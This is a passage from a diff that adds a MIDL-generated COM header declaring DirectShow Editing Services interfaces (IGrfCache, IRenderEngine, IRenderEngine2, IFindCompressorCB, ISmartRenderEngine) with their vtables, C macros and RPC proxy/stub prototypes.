*/ HRESULT STDMETHODCALLTYPE DoConnectionsNow( void) = 0; + + }; + +#else /* C style interface */ + + typedef struct IGrfCacheVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IGrfCache * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IGrfCache * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IGrfCache * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IGrfCache * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IGrfCache * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IGrfCache * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IGrfCache * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *AddFilter )( + IGrfCache * This, + IGrfCache *ChainedCache, + LONGLONG ID, + const IBaseFilter *pFilter, + LPCWSTR pName); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *ConnectPins )( + IGrfCache * This, + IGrfCache *ChainedCache, + LONGLONG PinID1, + const IPin *pPin1, + LONGLONG PinID2, + const IPin *pPin2); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *SetGraph )( + IGrfCache * This, + const IGraphBuilder *pGraph); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *DoConnectionsNow )( + IGrfCache * This); + + END_INTERFACE + } IGrfCacheVtbl; + + interface IGrfCache + { + CONST_VTBL struct IGrfCacheVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IGrfCache_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IGrfCache_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IGrfCache_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IGrfCache_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IGrfCache_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IGrfCache_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IGrfCache_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IGrfCache_AddFilter(This,ChainedCache,ID,pFilter,pName) \ + (This)->lpVtbl -> AddFilter(This,ChainedCache,ID,pFilter,pName) + +#define IGrfCache_ConnectPins(This,ChainedCache,PinID1,pPin1,PinID2,pPin2) \ + (This)->lpVtbl -> ConnectPins(This,ChainedCache,PinID1,pPin1,PinID2,pPin2) + +#define IGrfCache_SetGraph(This,pGraph) \ + (This)->lpVtbl -> SetGraph(This,pGraph) + +#define IGrfCache_DoConnectionsNow(This) \ + (This)->lpVtbl -> DoConnectionsNow(This) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IGrfCache_AddFilter_Proxy( + IGrfCache * This, + IGrfCache *ChainedCache, + LONGLONG ID, + const IBaseFilter *pFilter, + LPCWSTR pName); + + +void __RPC_STUB IGrfCache_AddFilter_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IGrfCache_ConnectPins_Proxy( + IGrfCache * This, + IGrfCache *ChainedCache, + LONGLONG PinID1, + const IPin *pPin1, + LONGLONG PinID2, + const IPin *pPin2); + + +void __RPC_STUB IGrfCache_ConnectPins_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IGrfCache_SetGraph_Proxy( + IGrfCache * This, + const IGraphBuilder *pGraph); + + +void __RPC_STUB IGrfCache_SetGraph_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IGrfCache_DoConnectionsNow_Proxy( + IGrfCache * This); + + +void __RPC_STUB IGrfCache_DoConnectionsNow_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IGrfCache_INTERFACE_DEFINED__ */ + + +#ifndef __IRenderEngine_INTERFACE_DEFINED__ +#define __IRenderEngine_INTERFACE_DEFINED__ + +/* interface IRenderEngine */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IRenderEngine; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("6BEE3A81-66C9-11d2-918F-00C0DF10D434") + IRenderEngine : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetTimelineObject( + IAMTimeline *pTimeline) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetTimelineObject( + /* [out] */ IAMTimeline **ppTimeline) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetFilterGraph( + /* [out] */ IGraphBuilder **ppFG) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetFilterGraph( + IGraphBuilder *pFG) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetInterestRange( + REFERENCE_TIME Start, + REFERENCE_TIME Stop) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetInterestRange2( + double Start, + double Stop) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetRenderRange( + REFERENCE_TIME Start, + REFERENCE_TIME Stop) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetRenderRange2( + double Start, + double Stop) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetGroupOutputPin( + long Group, + /* [out] */ IPin **ppRenderPin) = 0; + + virtual HRESULT STDMETHODCALLTYPE ScrapIt( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE RenderOutputPins( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetVendorString( + /* [retval][out] */ BSTR *pVendorID) = 0; + + virtual HRESULT STDMETHODCALLTYPE ConnectFrontEnd( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetSourceConnectCallback( + IGrfCache *pCallback) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetDynamicReconnectLevel( + long Level) = 0; + + virtual HRESULT STDMETHODCALLTYPE DoSmartRecompression( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE UseInSmartRecompressionGraph( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetSourceNameValidation( + BSTR FilterString, + IMediaLocator *pOverride, + LONG Flags) = 0; + + virtual HRESULT STDMETHODCALLTYPE Commit( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE Decommit( void) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetCaps( + long Index, + long *pReturn) = 0; + + }; + +#else /* C style interface */ + + typedef struct IRenderEngineVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IRenderEngine * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IRenderEngine * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *SetTimelineObject )( + IRenderEngine * This, + IAMTimeline *pTimeline); + + HRESULT ( STDMETHODCALLTYPE *GetTimelineObject )( + IRenderEngine * This, + /* [out] */ IAMTimeline **ppTimeline); + + HRESULT ( STDMETHODCALLTYPE *GetFilterGraph )( + IRenderEngine * This, + /* [out] */ IGraphBuilder **ppFG); + + HRESULT ( STDMETHODCALLTYPE *SetFilterGraph )( + IRenderEngine * This, + IGraphBuilder *pFG); + + HRESULT ( STDMETHODCALLTYPE *SetInterestRange )( + IRenderEngine * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + HRESULT ( STDMETHODCALLTYPE *SetInterestRange2 )( + IRenderEngine * This, + double Start, + double Stop); + + HRESULT ( STDMETHODCALLTYPE *SetRenderRange )( + IRenderEngine * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + HRESULT ( STDMETHODCALLTYPE *SetRenderRange2 )( + IRenderEngine * This, + double Start, + double Stop); + + HRESULT ( STDMETHODCALLTYPE *GetGroupOutputPin )( + IRenderEngine * This, + long Group, + /* [out] */ IPin **ppRenderPin); + + HRESULT ( STDMETHODCALLTYPE *ScrapIt )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *RenderOutputPins )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *GetVendorString )( + IRenderEngine * This, + /* [retval][out] */ BSTR *pVendorID); + + HRESULT ( STDMETHODCALLTYPE *ConnectFrontEnd )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *SetSourceConnectCallback )( + IRenderEngine * This, + IGrfCache *pCallback); + + HRESULT ( STDMETHODCALLTYPE *SetDynamicReconnectLevel )( + IRenderEngine * This, + long Level); + + HRESULT ( STDMETHODCALLTYPE *DoSmartRecompression )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *UseInSmartRecompressionGraph )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *SetSourceNameValidation )( + IRenderEngine * This, + BSTR FilterString, + IMediaLocator *pOverride, + LONG Flags); + + HRESULT ( STDMETHODCALLTYPE *Commit )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *Decommit )( + IRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *GetCaps )( + IRenderEngine * This, + long Index, + long *pReturn); + + END_INTERFACE + } IRenderEngineVtbl; + + interface IRenderEngine + { + CONST_VTBL struct IRenderEngineVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IRenderEngine_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IRenderEngine_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IRenderEngine_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IRenderEngine_SetTimelineObject(This,pTimeline) \ + (This)->lpVtbl -> SetTimelineObject(This,pTimeline) + +#define IRenderEngine_GetTimelineObject(This,ppTimeline) \ + (This)->lpVtbl -> GetTimelineObject(This,ppTimeline) + +#define IRenderEngine_GetFilterGraph(This,ppFG) \ + (This)->lpVtbl -> GetFilterGraph(This,ppFG) + +#define IRenderEngine_SetFilterGraph(This,pFG) \ + (This)->lpVtbl -> SetFilterGraph(This,pFG) + +#define IRenderEngine_SetInterestRange(This,Start,Stop) \ + (This)->lpVtbl -> SetInterestRange(This,Start,Stop) + +#define IRenderEngine_SetInterestRange2(This,Start,Stop) \ + (This)->lpVtbl -> SetInterestRange2(This,Start,Stop) + +#define IRenderEngine_SetRenderRange(This,Start,Stop) \ + (This)->lpVtbl -> SetRenderRange(This,Start,Stop) + +#define IRenderEngine_SetRenderRange2(This,Start,Stop) \ + (This)->lpVtbl -> SetRenderRange2(This,Start,Stop) + +#define IRenderEngine_GetGroupOutputPin(This,Group,ppRenderPin) \ + (This)->lpVtbl -> GetGroupOutputPin(This,Group,ppRenderPin) + +#define IRenderEngine_ScrapIt(This) \ + (This)->lpVtbl -> ScrapIt(This) + +#define IRenderEngine_RenderOutputPins(This) \ + (This)->lpVtbl -> RenderOutputPins(This) + +#define IRenderEngine_GetVendorString(This,pVendorID) \ + (This)->lpVtbl -> GetVendorString(This,pVendorID) + +#define IRenderEngine_ConnectFrontEnd(This) \ + (This)->lpVtbl -> ConnectFrontEnd(This) + +#define IRenderEngine_SetSourceConnectCallback(This,pCallback) \ + (This)->lpVtbl -> SetSourceConnectCallback(This,pCallback) + +#define IRenderEngine_SetDynamicReconnectLevel(This,Level) \ + (This)->lpVtbl -> SetDynamicReconnectLevel(This,Level) + +#define IRenderEngine_DoSmartRecompression(This) \ + (This)->lpVtbl -> DoSmartRecompression(This) + +#define IRenderEngine_UseInSmartRecompressionGraph(This) \ + (This)->lpVtbl -> UseInSmartRecompressionGraph(This) + +#define IRenderEngine_SetSourceNameValidation(This,FilterString,pOverride,Flags) \ + (This)->lpVtbl -> SetSourceNameValidation(This,FilterString,pOverride,Flags) + +#define IRenderEngine_Commit(This) \ + (This)->lpVtbl -> Commit(This) + +#define IRenderEngine_Decommit(This) \ + (This)->lpVtbl -> Decommit(This) + +#define IRenderEngine_GetCaps(This,Index,pReturn) \ + (This)->lpVtbl -> GetCaps(This,Index,pReturn) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetTimelineObject_Proxy( + IRenderEngine * This, + IAMTimeline *pTimeline); + + +void __RPC_STUB IRenderEngine_SetTimelineObject_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_GetTimelineObject_Proxy( + IRenderEngine * This, + /* [out] */ IAMTimeline **ppTimeline); + + +void __RPC_STUB IRenderEngine_GetTimelineObject_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_GetFilterGraph_Proxy( + IRenderEngine * This, + /* [out] */ IGraphBuilder **ppFG); + + +void __RPC_STUB IRenderEngine_GetFilterGraph_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetFilterGraph_Proxy( + IRenderEngine * This, + IGraphBuilder *pFG); + + +void __RPC_STUB IRenderEngine_SetFilterGraph_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetInterestRange_Proxy( + IRenderEngine * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + +void __RPC_STUB IRenderEngine_SetInterestRange_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetInterestRange2_Proxy( + IRenderEngine * This, + double Start, + double Stop); + + +void __RPC_STUB IRenderEngine_SetInterestRange2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetRenderRange_Proxy( + IRenderEngine * This, + REFERENCE_TIME Start, + REFERENCE_TIME Stop); + + +void __RPC_STUB IRenderEngine_SetRenderRange_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetRenderRange2_Proxy( + IRenderEngine * This, + double Start, + double Stop); + + +void __RPC_STUB IRenderEngine_SetRenderRange2_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_GetGroupOutputPin_Proxy( + IRenderEngine * This, + long Group, + /* [out] */ IPin **ppRenderPin); + + +void __RPC_STUB IRenderEngine_GetGroupOutputPin_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_ScrapIt_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_ScrapIt_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_RenderOutputPins_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_RenderOutputPins_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_GetVendorString_Proxy( + IRenderEngine * This, + /* [retval][out] */ BSTR *pVendorID); + + +void __RPC_STUB IRenderEngine_GetVendorString_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_ConnectFrontEnd_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_ConnectFrontEnd_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetSourceConnectCallback_Proxy( + IRenderEngine * This, + IGrfCache *pCallback); + + +void __RPC_STUB IRenderEngine_SetSourceConnectCallback_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetDynamicReconnectLevel_Proxy( + IRenderEngine * This, + long Level); + + +void __RPC_STUB IRenderEngine_SetDynamicReconnectLevel_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_DoSmartRecompression_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_DoSmartRecompression_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_UseInSmartRecompressionGraph_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_UseInSmartRecompressionGraph_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_SetSourceNameValidation_Proxy( + IRenderEngine * This, + BSTR FilterString, + IMediaLocator *pOverride, + LONG Flags); + + +void __RPC_STUB IRenderEngine_SetSourceNameValidation_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_Commit_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_Commit_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_Decommit_Proxy( + IRenderEngine * This); + + +void __RPC_STUB IRenderEngine_Decommit_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IRenderEngine_GetCaps_Proxy( + IRenderEngine * This, + long Index, + long *pReturn); + + +void __RPC_STUB IRenderEngine_GetCaps_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IRenderEngine_INTERFACE_DEFINED__ */ + + +#ifndef __IRenderEngine2_INTERFACE_DEFINED__ +#define __IRenderEngine2_INTERFACE_DEFINED__ + +/* interface IRenderEngine2 */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IRenderEngine2; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("6BEE3A82-66C9-11d2-918F-00C0DF10D434") + IRenderEngine2 : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetResizerGUID( + GUID ResizerGuid) = 0; + + }; + +#else /* C style interface */ + + typedef struct IRenderEngine2Vtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IRenderEngine2 * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IRenderEngine2 * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IRenderEngine2 * This); + + HRESULT ( STDMETHODCALLTYPE *SetResizerGUID )( + IRenderEngine2 * This, + GUID ResizerGuid); + + END_INTERFACE + } IRenderEngine2Vtbl; + + interface IRenderEngine2 + { + CONST_VTBL struct IRenderEngine2Vtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IRenderEngine2_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IRenderEngine2_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IRenderEngine2_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IRenderEngine2_SetResizerGUID(This,ResizerGuid) \ + (This)->lpVtbl -> SetResizerGUID(This,ResizerGuid) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IRenderEngine2_SetResizerGUID_Proxy( + IRenderEngine2 * This, + GUID ResizerGuid); + + +void __RPC_STUB IRenderEngine2_SetResizerGUID_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IRenderEngine2_INTERFACE_DEFINED__ */ + + +#ifndef __IFindCompressorCB_INTERFACE_DEFINED__ +#define __IFindCompressorCB_INTERFACE_DEFINED__ + +/* interface IFindCompressorCB */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IFindCompressorCB; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("F03FA8DE-879A-4d59-9B2C-26BB1CF83461") + IFindCompressorCB : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE GetCompressor( + AM_MEDIA_TYPE *pType, + AM_MEDIA_TYPE *pCompType, + /* [out] */ IBaseFilter **ppFilter) = 0; + + }; + +#else /* C style interface */ + + typedef struct IFindCompressorCBVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IFindCompressorCB * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IFindCompressorCB * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IFindCompressorCB * This); + + HRESULT ( STDMETHODCALLTYPE *GetCompressor )( + IFindCompressorCB * This, + AM_MEDIA_TYPE *pType, + AM_MEDIA_TYPE *pCompType, + /* [out] */ IBaseFilter **ppFilter); + + END_INTERFACE + } IFindCompressorCBVtbl; + + interface IFindCompressorCB + { + CONST_VTBL struct IFindCompressorCBVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IFindCompressorCB_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IFindCompressorCB_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IFindCompressorCB_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IFindCompressorCB_GetCompressor(This,pType,pCompType,ppFilter) \ + (This)->lpVtbl -> GetCompressor(This,pType,pCompType,ppFilter) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IFindCompressorCB_GetCompressor_Proxy( + IFindCompressorCB * This, + AM_MEDIA_TYPE *pType, + AM_MEDIA_TYPE *pCompType, + /* [out] */ IBaseFilter **ppFilter); + + +void __RPC_STUB IFindCompressorCB_GetCompressor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IFindCompressorCB_INTERFACE_DEFINED__ */ + + +#ifndef __ISmartRenderEngine_INTERFACE_DEFINED__ +#define __ISmartRenderEngine_INTERFACE_DEFINED__ + +/* interface ISmartRenderEngine */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_ISmartRenderEngine; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("F03FA8CE-879A-4d59-9B2C-26BB1CF83461") + ISmartRenderEngine : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetGroupCompressor( + long Group, + IBaseFilter *pCompressor) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetGroupCompressor( + long Group, + IBaseFilter **pCompressor) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetFindCompressorCB( + IFindCompressorCB *pCallback) = 0; + + }; + +#else /* C style interface */ + + typedef struct ISmartRenderEngineVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + ISmartRenderEngine * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + ISmartRenderEngine * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + ISmartRenderEngine * This); + + HRESULT ( STDMETHODCALLTYPE *SetGroupCompressor )( + ISmartRenderEngine * This, + long Group, + IBaseFilter *pCompressor); + + HRESULT ( STDMETHODCALLTYPE *GetGroupCompressor )( + ISmartRenderEngine * This, + long Group, + IBaseFilter **pCompressor); + + HRESULT ( STDMETHODCALLTYPE *SetFindCompressorCB )( + ISmartRenderEngine * This, + IFindCompressorCB *pCallback); + + END_INTERFACE + } ISmartRenderEngineVtbl; + + interface ISmartRenderEngine + { + CONST_VTBL struct ISmartRenderEngineVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define ISmartRenderEngine_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define ISmartRenderEngine_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define ISmartRenderEngine_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define ISmartRenderEngine_SetGroupCompressor(This,Group,pCompressor) \ + (This)->lpVtbl -> SetGroupCompressor(This,Group,pCompressor) + +#define ISmartRenderEngine_GetGroupCompressor(This,Group,pCompressor) \ + (This)->lpVtbl -> GetGroupCompressor(This,Group,pCompressor) + +#define ISmartRenderEngine_SetFindCompressorCB(This,pCallback) \ + (This)->lpVtbl -> SetFindCompressorCB(This,pCallback) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE ISmartRenderEngine_SetGroupCompressor_Proxy( + ISmartRenderEngine * This, + long Group, + IBaseFilter *pCompressor); + + +void __RPC_STUB ISmartRenderEngine_SetGroupCompressor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISmartRenderEngine_GetGroupCompressor_Proxy( + ISmartRenderEngine * This, + long Group, + IBaseFilter **pCompressor); + + +void __RPC_STUB ISmartRenderEngine_GetGroupCompressor_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISmartRenderEngine_SetFindCompressorCB_Proxy( + ISmartRenderEngine * This, + IFindCompressorCB *pCallback); + + +void __RPC_STUB ISmartRenderEngine_SetFindCompressorCB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __ISmartRenderEngine_INTERFACE_DEFINED__ */ + + +#ifndef __IAMTimelineObj_INTERFACE_DEFINED__ +#define __IAMTimelineObj_INTERFACE_DEFINED__ + +/* interface IAMTimelineObj */ 